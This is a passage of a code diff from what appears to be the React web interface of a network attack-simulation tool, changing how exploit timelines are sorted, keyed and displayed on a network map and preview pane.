if exploit_1["timestamp"] == exploit_2["timestamp"]:
return 0
if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]:
if exploit_1["timestamp"] > exploit_2["timestamp"]:
return 1
return -1

View File

@ -100,7 +100,6 @@ class MapPageComponent extends React.Component {
selectionChanged(event) {
if (event.nodes.length === 1) {
console.log('selected node:', event.nodes[0]); // eslint-disable-line no-console
fetch('/api/netmap/node?id=' + event.nodes[0])
.then(res => res.json())
.then(res => this.setState({selected: res, selectedType: 'node'}));
@ -119,7 +118,6 @@ class MapPageComponent extends React.Component {
}
}
else {
console.log('selection cleared.'); // eslint-disable-line no-console
this.setState({selected: null, selectedType: null});
}
}

View File

@ -91,9 +91,9 @@ class PreviewPaneComponent extends React.Component {
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{ asset.exploits.map(exploit =>
<li key={exploit.start_timestamp}>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
<div>{new Date(exploit.start_timestamp).toLocaleString()}</div>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
@ -157,17 +157,23 @@ class PreviewPaneComponent extends React.Component {
</tr>
</tbody>
</table>
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{ edge.exploits.map(exploit =>
<li key={exploit.start_timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
<div>{exploit.start_timestamp}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
{
(edge.exploits.length === 0) ?
'' :
<div>
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{ edge.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
}
</div>
);
}